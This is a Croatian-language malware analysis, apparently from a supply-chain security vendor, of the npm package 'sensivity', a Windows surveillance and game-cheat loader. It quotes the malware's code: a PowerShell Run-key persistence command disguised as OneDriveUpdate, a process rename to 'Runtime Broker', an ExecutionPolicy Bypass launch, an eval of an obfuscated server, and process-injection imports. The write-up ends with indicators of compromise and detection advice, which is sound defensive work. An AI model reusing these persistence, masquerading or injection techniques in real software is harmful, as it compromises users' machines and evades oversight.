PairLoop: Skrivena ploča za daljinsko upravljanje u npm paketu

PairLoop: Jedan npm paket, sedamdeset verzija i skrivena ploča za daljinsko upravljanje Windowsima

TL; DR

npm paket osjetljivost opisuje se kao "kontrolna ploča osjetljivosti". Na Windowsima se ponaša kao alat za daljinsko upravljanje i nadzor.

Njegova ulazna točka, launcher.js, preimenuje vlastiti proces u Runtime Broker, zapisuje vrijednost automatskog pokretanja Run-key-a pod nazivom OneDriveUpdate koji ponovno pokreće paket putem skrivenog VBScripta, pokreće PowerShell s -ExecutionPolicy Bypass, a zatim procjenjuje obfusirani poslužiteljski teret od 171 KB uz izvorni modul od 6.87 MB, sens.node.

Opslužuje kontrolnu ploču za uparivanje telefona na TCP portu 3000 i čita URL adresne trake aktivnog preglednika putem Windows UIAutomationa, tražeći jedan čvrsto kodirani YouTube video.

Dva dijela koja su se prije čitala kao crne kutije sada su riješena. Zamaskirani server, server.obf.js, koristi obfuscator.io RC4 shemu nizova stringova; ponovnom implementacijom njegovog dekodera izvan mreže (bez izvršavanja JavaScripta) oporavlja se jedna vanjska krajnja točka — https://izopi.com/check.php — zajedno s ugrađenim javnim RSA ključem koji se koristi za provjeru potpisanih odgovora licence.

Izvorni modul, sens.node, nije zapakiran: njegova tablica uvoza i ugrađeni nizovi identificiraju ga kao DirectX 11 / Dear ImGui sloj u igri koji pruža značajke aimbota, ESP-a (wall-hacka) i triggerbota, pokretane ubrizgavanjem udaljenih procesa i čitanjem/pisanjem u memoriju.

Nizovi unutar njega referenciraju entitete vozila i lokacije na mapi u skladu s GTA V / FiveM. npm paket je omotač za isporuku i perzistenciju oko tog izvornog modula.

Odlučujući signal je operativne, a ne tehničke prirode: jedan anonimni izdavač plasirao je otprilike sedamdeset verzija jednog paketa - 2.5.0 kroz 2.5.69 — kroz nekoliko dana, svaki s istim lanserom.

Nema instalacija hooksKorisni teret se pokreće samo kada je paket pokrenut.

Napad: Kako funkcionira

sensivity isporučuje deset datoteka. Datoteka package.json je rijetka: nema repozitorijskog polja, nema licence, glavni i dva bin aliasa (sensitivity, sens) koji svi upućuju na launcher.js, te početna skripta node launcher.js. Nema postinstall-a ili preinstall-a. Ništa se ne pokreće prilikom npm instalacije. Ponašanje opisano u nastavku izvodi se kada korisnik pokrene paket - putem bin shim-a, početne skripte ili require-a.

Tarball sadrži pokretač, obfusirani poslužitelj, izvorni modul, Visual Basic skriptu i direktorij public/web za kontrolnu ploču. launcher.js je čitljivi orkestrator; logika koja je važna za vrijeme izvođenja nalazi se u dva bloba koje učitava - obfusirani poslužitelj i kompilirani izvorni modul, oboje riješeno u nastavku.

 Maškarada procesa i lažni program za ažuriranje OneDrivea

Na početku izvršavanja, launcher.js dva puta postavlja vlastito ime procesa:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker je legitimni Windows proces (RuntimeBroker.exe) koji posreduje u dozvolama aplikacija. Preimenovanje Node procesa u skladu s njim znači da brzi pogled na Upravitelj zadataka ne pokazuje ništa neobično.

Perzistencija je napisana putem PowerShella, a ne putem izravnog API-ja registra:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Vrijednost automatskog pokretanja naziva se OneDriveUpdate i ne upućuje izravno na paket. Upućuje na wscript.exe koji pokreće priloženi OneDrive.Standalone.Updater.vbs. Taj skript ponovno pokreće node launcher.js u skrivenom prozoru. I naziv tipke za pokretanje i naziv VBScript datoteke posuđuju Microsoftov brend, pa se unos automatskog pokretanja čita kao rutinski OneDrive zadatak.

PowerShell sa zaobilaženjem pravila izvršavanja

Pokretač se opetovano obraća PowerShellu. Sink koji skeneri označavaju kao kritičan je pokretanje generiranog .ps1 s onemogućenom politikom izvršavanja:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Zaobilaženje ExecutionPolicy uklanja lokalnu provjeru potpisivanja skripte za taj poziv. Generirane skripte obrađuju nadzor preglednika i detekciju prozora opisane u sljedećem odjeljku.

Obfusirani poslužitelj i izvorni modul

Nakon postavljanja, launcher.js učitava i izvršava svoj stvarni teret:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js je 171 KB _0x-array obfuscationa — JavaScript uzorka gdje se svaki niz i identifikator zamjenjuje indeksom u promiješanom nizu, a zatim se dereferencira tijekom izvođenja. Shema je RC4 varijanta koju proizvodi obfuscator.io: jedna funkcija dekodera base64 dekodira unos niza, a zatim ga RC4 dekriptira s ključem po pozivu. Reimplementacija tog dekodera u zasebnom skriptu — pokretanje samo reimplementacije preko izdvojenog niza nizova od 821 unosa, nikada vlastitog JavaScripta paketa — čisto ga odmotava. Ono što se pojavljuje je skromno, ali decisive: jedan vanjski URL, https://izopi.com/check.php`, dodijeljen konstanti LICENSE_URL; ugrađeni RSA PUBLIC_KEY_PEM`; lokalna ploča usmjerava /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off i /trigger/status; i nizovi znakova child_process, crypto i [Sensivity] sens.node loaded - posljednji je točan redak zapisnika koji pokretač prepisuje u programski modul učitan. Krajnja točka je provjera licence: klijent objavljuje identifikator (maskirani poslužitelj formatira Discord ID: %s niz) i RSA ključ provjerava potpisani odgovor poslužitelja.

sens.node je kompilirani nativni dodatak od 6.87 MB i nije zapakiran — entropija sekcije je na 5.6–6.6, a tablice uvoza i izvoza PE-a su netaknute, tako da su njegove mogućnosti izravno čitljive. Izvozi napi_register_module_v1, standard Ulazna točka N-API čvora, pa ga evaluirani poslužitelj učitava s običnim zahtjevom. Njegova tablica uvoza je tell. Iz KERNEL32 povlači OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules i Process32First/NextW - kanonski skup za lociranje drugog procesa, dodjeljivanje memorije unutar njega i čitanje ili pisanje te memorije. Iz USER32 povlači GetAsyncKeyState, GetKeyState, mouse_event i SetCursorPos; povezuje d3d11.dll, D3DCOMPILER_43 i dwmapi za prekrivanje na zaslonu i puni WINHTTP skup za mrežne pozive. Njegovi ugrađeni nizovi nazivaju skup značajki bez dvosmislenosti: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected i banner Dear ImGui Dear ImGui 1.91.3 WIP. Nizovi lokacije i entiteta kao što su Grapeseed Medical Clinic i vokabular vehicle-ESP u skladu su s GTA V / FiveM.

Podjela je namjerna: čitljivi launcher.js sadrži samo dijelove koje skener lako čita - persistence, maskquerade, sam eval poziv - dok obfuscation skriva jedan vanjski host s kojim runtime kontaktira, a binarni fajl sadrži logiku prekrivanja igre i ubrizgavanja procesa. Launcher je tanka, auditivna ljuska; obfusirani server skriva mrežni identitet; nativni modul je payload. Opisujemo uvoze i stringove binarnog fajla kao pročitane; ne zaključujemo svrhu operatora iz njih.

 Kontrolna ploča za uparivanje telefona na portu 3000

Pokretač upravlja lokalnim web poslužiteljem na TCP portu 3000 i tretira ga kao singleton. Upita za postojeći listener i briše ga prije povezivanja:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Ploča je dostupna na http://localhost:3000, s fiksno kodiranim LAN rezervnim URL-om http://192.168.1.16:3000. Direktorij public/ i ponašanje ploče u skladu su s tokom uparivanja QR-ova: telefon skenira kod i veže se za host kao daljinski upravljač. Nijedna vanjska domena za naredbe i upravljanje ne pojavljuje se u otvorenom tekstu u pokretaču - ali, kao što pokazuje gornja deobfuskacija, jedna je prisutna na obfusciranom poslužitelju: krajnja točka licence izopi.com. Sama ploča je lokalna i ima LAN opseg; jedini izlazni host je ta provjera licence.

Odvojeni model nadzornika/radnika održava proces aktivnim. Pokretač se ponovno pokreće sa zastavicama okruženja SENSIVITY_SUPERVISOR i SENSIVITY_WORKER, pri čemu se svaki podređeni proces izvršava skriveno, pa ga nakon ubijanja jednog procesa mora ponovno pokrenuti nadzornik.

Nadzor preglednika i YouTube signal

Najspecifičnije ponašanje je praćenje preglednika. launcher.js gradi PowerShell koji pokreće Windows UIAutomation za čitanje adresne trake pokrenutog preglednika:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern vraća tekstualni sadržaj UI elementa. Primijenjen na kontrolu uređivanja u adresnoj traci preglednika, vraća URL koji žrtva trenutno pregledava - bez proširenja preglednika, bez dodirivanja profila na disku i bez API hook-a. Generirani skript ponavlja popis $browserNames i izdvaja URL ili naslov prozora preglednika u prvom planu.

Taj URL se testira u odnosu na jedan čvrsto kodirani cilj:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Pokretač u petlji od tri sekunde ispituje prozor preglednika koji prikazuje YouTube, a generirani PowerShell nosi par Get-YouTubeBrowser / Test-TargetYouTubeUrl koji se podudara s tim ID-om videozapisa. Uočljivi učinak je dvostruk: aktivni URL pregledavanja očitava se s ekrana žrtve i detektira se interakcija domaćina s jednim određenim YouTube videozapisom. Opisujemo mehanizam i metu; ne zaključujemo motiv iz njih.

Pročitavanje adresne trake je ono što skener označava kao sensitive_data_enumeration - izvor Process::env i UIAutomation koji napaja mrežno sposobno okruženje za izvođenje. Izolirano izgleda bezopasno i pretvara se u nadzor tek nakon što se životni ciklus podataka prati od izvora UIAutomation do obfusciranog poslužitelja.

Vremenska crta i evolucija verzija

Osjetljivost nije jednokratni prijenos. Izdavački račun ima otprilike sedamdeset objavljenih verzija ovog jednog paketa, a nove su stalno pristizale tijekom razdoblja pregleda. Launcher se širi značajku po značajku unutar verzije 2.5.x, dok njegova postojanost i učitavanje korisnog tereta ostaju fiksni.

Datum (UTC) Opažene verzije Stanje pokretača
2026-06-02 2.5.8 - 2.5.46 (25) Osnovni pokretač QR-panela; Trajnost tipke za izvršavanje; evaluacija obfusiranog poslužitelja.
2026-06-03 2.5.53 - 2.5.61 (6) Isti otisak prsta; suzbijanje traga konzole.
2026-06-04 2.5.67, 2.5.68 (2) Dodaje prikvačeni cilj angažmana na YouTubeu wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Ponovno objavljivanje za popunjavanje praznina u cijelom rasponu; nadzornik/radnik.

Čitanje pokretača u preuzetim verzijama - 2.5.0, 2.5.36 i 2.5.69 - pokazuje četiri razine. Najranije verzije nose osnovni pokretač za uparivanje QR-ova. Od verzije 2.5.33 pojavljuje se sakupljač adresne trake UIAutomation. Od verzije 2.5.58 dodan je sloj za upravljanje nadzornikom. Od verzije 2.5.64 odvojeni nadzornik/radnik upotpunjuje set. Kroz sve verzije, četiri stvari se nikada ne mijenjaju: tipka OneDriveUpdate Run, ubacivač OneDrive.Standalone.Updater.vbs, eval'd server.obf.js i nativni modul sens.node.

Val iz 2026-06-05 značajan je jer je ponovno objavio verzije s niskim brojevima - od 2.5.0 do 2.5.15 - koje se nalaze ispod verzija potvrđenih nekoliko dana ranije. Učinak je susjedni redak 2.5.x u registru, pri čemu svaka verzija ima isti pokretač.

Pokazatelji kompromisa

Svi donji indikatori su pročitani izravno iz tarballa paketa. Čitljivi pokretač sadrži samo povratnu petlju i jednu privatnu LAN adresu; jedno vanjsko ime hosta, izopi.com, je oporavljeno deobfusciranjem server.obf.js izvan mreže.

Tip Pokazatelj Bilješke
Paket npm:sensivity (≈70 verzija, 2.5.0-2.5.69) Izdavač jednog paketa; bez repozitorija; bez licence.
file launcher.js Čitljiv orkestrator; glavni i ciljni bin.
file server.obf.js (≈171 KB) obfuscator.io RC4 korisni sadržaj niza stringova, učitan putem eval(fs.readFileSync(...)).
file sens.node (≈6.87 MB) Dodatak PE32+ x86-64 Node N-API; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
file OneDrive.Standalone.Updater.vbs Skriveni restart (node launcher.js).
mreža https://izopi.com/check.php Krajnja točka licence/autorizacije oporavljena je s obfuskiranog poslužitelja; ugrađeni javni RSA ključ provjerava odgovore.
Sposobnost OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Ubrizgavanje u udaljene procese i mogućnost čitanja/pisanja u memoriju.
Sposobnost Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui prekrivač za igru ​​koji implementira značajke aimbota, ESP-a i triggerbota.
registra HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Vrijednost automatskog pokretanja koja pokazuje na wscript.exe i pokretač VBScripta.
Proces process.title = 'Runtime Broker' Predstavlja se kao legitimni proces Windows Runtime Brokera.
bihevioralna powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Zaobilaženje pravila izvršavanja koristi se za generirane PowerShell skripte.
bihevioralna UIAutomation ValuePattern čitanje adresne trake preglednika Čita URL prozora preglednika u prvom planu.
bihevioralna ID ciljanog videozapisa wJWta2lO0Lw; 3-sekundna anketa na YouTubeu Pričvršćeni signal za praćenje angažmana.
mreža http://localhost:3000, rezervni http://192.168.1.16:3000 Upravljačka ploča za QR uparivanje izložena lokalno i na LAN-u.
okolina SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Odvojene zastavice koordinacije procesa nadzora.

Atribucija, utjecaj i branitelji

Paket objavljuje jedan npm račun čija je navedena e-pošta neprovjerena Gmail adresa. Račun ima izrazito negativan rezultat reputacije u registru, održava i objavljuje samo ovaj jedan paket i nema povezano izvorno spremište. Nismo provjerili vlasništvo nad e-poštom i kampanju pripisujemo računu izdavača, a ne bilo kojoj imenovanoj osobi. Pokretač nema infrastrukturu otvorenog teksta, ali jedan vanjski host je sada poznat: obfuscirani poslužitelj kontaktira izopi.com radi provjere licence, a nativni modul - čitan iz svoje tablice uvoza i nizova, a ne obrnuto instrukciju po instrukciju - je sloj igre koji ubrizgava u memoriju drugog procesa i čita je.

Uočljiv utjecaj osjeća se kod korisnika Windowsa koji instaliraju i pokreću Sensitivity očekujući uslužni program na upravljačkoj ploči. Na tim hostovima paket uspostavlja automatsko pokretanje prikriveno kao OneDrive zadatak, preimenuje se kako bi oponašao sistemski proces, čita URL onoga što korisnik pregledava i postavlja ploču za uparivanje koja povezuje računalo s udaljenim uređajem putem lokalne mreže. Nadzornik/radnik znači da jednokratno ubijanje procesa ne uklanja taj proces; unos s tipkom Run preživi ponovna pokretanja. macOS i Linux nisu ciljani pokretačem - putanje persistence, PowerShell i UIAutomation su samo za Windows.

Odljev sedamdeset verzija je trend koji vrijedi upozoriti. Ponovno objavljivanje jednog paketa desetke puta u nekoliko dana, uključujući ponovno popunjavanje brojeva verzija ispod onih koje su već uklonjene, održava aktivnu kopiju u registru između uklanjanja i frustrira liste blokiranih verzija. Unos na listu blokiranih za sensivity@2.5.61 ne čini ništa protiv sensivity@2.5.3 ponovno objavljene sljedeći dan.

Branitelji mogu djelovati na sljedeće načine:

  • Potpuno blokirajte osjetljivost naziva paketa u popisima dopuštenih registarskih proxyja i CI-ja. Prikvačivanje pojedinačnih verzija gubi na ritmu ponovnog objavljivanja; naziv je trajni pokazatelj.
  • Potražite vrijednost Run pod nazivom OneDriveUpdate čiji podaci pozivaju wscript.exe za .vbs datoteku u putanji po korisniku. Pravi program za ažuriranje OneDrivea nije registriran na ovaj način.
  • Upozorenje na Node.js proces čiji je process.title Runtime Broker. Pravi broker je RuntimeBroker.exe, a ne Node runtime.
  • Označi npm dohvaćanja paketa tijekom instalacije koji isporučuju kompilirani .node dodatak plus eval(fs.readFileSync(…)) srodne .obf.js datoteke. To uparivanje - neprozirni nativni binarni fajl učitan pored obfusciranog tekstualnog sadržaja - je strukturni pokazatelj ovdje, neovisan o bilo kojem IOC-u niza znakova.
  • Tretirajte svaki lokalno vezani slušač na portu 3000 koji je generirao neočekivani Node proces kao sumnjiv na upravljanim krajnjim točkama sustava Windows.
  • Blokiraj ili upozori na odlazne zahtjeve prema izopi.com od strane programera ili krajnjih korisnika; to je jedina vanjska krajnja točka paketa, dostupna na /check.php s obfusciranog poslužitelja.
  • Za bilo koji .node dodatak u paketu, provjerite njegovu tablicu uvoza prije nego što mu vjerujete. Kombinacija OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread je injekcija udaljenog procesa bez obzira na to što paket tvrdi da radi; ovdje se nalazi pored Direct3D prekrivanja i aimbot/ESP/triggerbot stringova.

Za statičku analizu pipelines, oblik uvjerenja traje tijekom promjene verzija: profil instalacije koji nije s mreže, dodjeljivanje naslova procesa poznatom nazivu sistemskog procesa, pisanje tipkom Run putem PowerShella i evaluacija datoteke pročitane s diska. Ništa od toga ne ovisi o domeni, IP adresi ili broju verzije koju sljedeće ponovno objavljivanje može rotirati.

 Reference

[npm: osjetljivost] – stranica registra za redak verzije paketa o kojem se ovdje raspravlja; podložno uklanjanju.

alati-za-analizu-sastava-softvera-sca-tools
Prioritizirajte, sanirajte i osigurajte softverske rizike
Nabavite svoj besplatni račun.
Nije potrebna kreditna kartica.

Osigurajte svoj razvoj i isporuku softvera

s Xygeni paketom proizvoda